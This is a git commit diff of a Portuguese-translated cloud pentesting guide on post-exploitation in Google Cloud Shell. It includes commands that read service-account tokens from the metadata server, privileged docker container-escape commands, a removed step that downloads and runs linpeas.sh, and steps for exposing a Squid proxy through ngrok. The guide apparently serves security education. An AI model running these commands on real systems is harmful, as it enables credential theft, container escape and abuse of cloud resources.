Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:00 +00:00
parent d7fa694c48
commit a3b8d27c11

View File

@@ -4,46 +4,46 @@
## Cloud Shell ## Cloud Shell
Para mais informações sobre Cloud Shell, veja: Para mais informações sobre Cloud Shell, consulte:
{{#ref}} {{#ref}}
../gcp-services/gcp-cloud-shell-enum.md ../gcp-services/gcp-cloud-shell-enum.md
{{#endref}} {{#endref}}
### Container Escape ### Obtém o token do usuário a partir do metadata
Observe que o Google Cloud Shell é executado dentro de um container; você pode **fácilmente escapar para o host** executando: Bastando acessar o servidor de metadata você pode obter um token para acessar como o usuário atualmente logado:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Anteriormente o cloud shell era executado em um container com acesso ao socket do docker do host. Agora o Google mudou a arquitetura e o container do cloud shell executa uma configuração "Docker in a container". Portanto, mesmo que seja possível usar docker a partir do cloud shell, você não conseguirá escapar para o host usando o socket do docker.
> Observe que anteriormente o arquivo `docker.sock` estava localizado em `/google/host/var/run/docker.sock` mas agora ele foi movido para `/run/docker.sock`.
<details> <details>
<summary>Container escape commands</summary> <summary>Docker use / Old container escape commands</summary>
```bash ```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
``` ```
</details> </details>
Isso não é considerado uma vulnerabilidade pelo google, mas fornece uma visão mais ampla do que está acontecendo nesse ambiente. Além disso, no passado era possível encontrar um token para um service account usado pela cloud shell VM no metadata server:
Além disso, observe que no host você pode encontrar um service account token:
<details> <details>
<summary>Obter service account a partir da metadata</summary> <summary>Service account antigo do metadata</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/ default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
``` ```
</details> Com os seguintes escopos:
Com os seguintes scopes:
<details>
<summary>Obter scopes da conta de serviço</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write
``` ```
</details> </details>
Enumere metadados com LinPEAS:
### Usar como Proxy
Se você quiser usar sua instância do google cloud shell como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
<details> <details>
<summary>Enumere metadados com LinPEAS</summary> <summary>Instalar Squid proxy</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Depois de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) com o token do Service Account **nenhuma permissão foi encontrada**...
### Usar como proxy
Se você quiser usar sua google cloud shell instance como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
<details>
<summary>Install Squid proxy</summary>
```bash ```bash
sudo apt install -y squid sudo apt install -y squid
``` ```
</details> </details>
Apenas para avisar, o Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações: Só para você saber: Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações:
<details> <details>
<summary>Criar arquivo squid.conf</summary> <summary>Criar o arquivo squid.conf</summary>
```bash ```bash
http_port 3128 http_port 3128
cache_dir /var/cache/squid 100 16 256 cache_dir /var/cache/squid 100 16 256
@@ -106,13 +94,13 @@ Por fim, execute o serviço squid:
<details> <details>
<summary>Iniciar serviço squid</summary> <summary>Iniciar o serviço Squid</summary>
```bash ```bash
sudo service squid start sudo service squid start
``` ```
</details> </details>
Use o ngrok para tornar o proxy acessível externamente: Use o ngrok para tornar o proxy disponível externamente:
<details> <details>
@@ -122,7 +110,7 @@ Use o ngrok para tornar o proxy acessível externamente:
``` ```
</details> </details>
Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, recomenda-se remover a parte tcp:// e a porta e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy HTTP). Após executar, copie a URL tcp://. Se quiser executar o proxy a partir de um navegador, sugere-se remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).
Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas: Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas: